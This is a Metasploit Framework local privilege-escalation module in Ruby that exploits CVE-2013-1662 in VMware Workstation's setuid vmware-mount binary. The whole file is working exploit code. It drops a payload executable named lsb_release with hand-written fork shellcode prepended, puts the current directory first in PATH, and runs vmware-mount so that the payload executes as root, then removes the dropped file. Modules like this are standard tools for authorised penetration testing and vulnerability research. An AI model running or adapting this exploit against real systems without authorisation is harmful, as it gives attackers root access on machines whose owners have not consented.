##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'

class MetasploitModule < Msf::Exploit::Local

  include Msf::Exploit::EXE
  include Msf::Post::Common
  include Msf::Post::File

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'VMWare Setuid vmware-mount Unsafe popen(3)',
        'Description'   => %q{
          VMWare Workstation (up to and including 9.0.2 build-1031769)
          and Player have a setuid executable called vmware-mount that
          invokes lsb_release in the PATH with popen(3). Since PATH is
          user-controlled, and the default system shell on
          Debian-derived distributions does not drop privs, we can put
          an arbitrary payload in an executable called lsb_release and
          have vmware-mount happily execute it as root for us.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'Tavis Ormandy', # Vulnerability discovery and PoC
            'egypt' # Metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => ARCH_X86,
        'Targets'       =>
          [
            [ 'Automatic', { } ],
          ],
        'DefaultOptions' => {
          "PrependSetresuid" => true,
          "PrependSetresgid" => true,
        },
        'Privileged'     => true,
        'DefaultTarget' => 0,
        'References' => [
          [ 'CVE', '2013-1662' ],
          [ 'OSVDB', '96588' ],
          [ 'BID', '61966'],
          [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
          [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
        ],
        'DisclosureDate' => "Aug 22 2013"
      }
      ))
    # Handled by ghetto hardcoding below.
    deregister_options("PrependFork")
  end

  def check
    if setuid?("/usr/bin/vmware-mount")
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
    end

    # Ghetto PrependFork action which is apparently only implemented for
    # Meterpreter.
    # XXX Put this in a mixin somewhere
    # if(fork()) exit(0);
    # 6A02              push byte +0x2
    # 58                pop eax
    # CD80              int 0x80 ; fork
    # 85C0              test eax,eax
    # 7406              jz 0xf
    # 31C0              xor eax,eax
    # B001              mov al,0x1
    # CD80              int 0x80 ; exit
    exe = generate_payload_exe(
      :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
    )
    write_file("lsb_release", exe)

    cmd_exec("chmod +x lsb_release")
    cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
    # Delete it here instead of using FileDropper because the original
    # session can clean it up
    cmd_exec("rm -f lsb_release")
  end

  def setuid?(remote_file)
    !!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
  end

end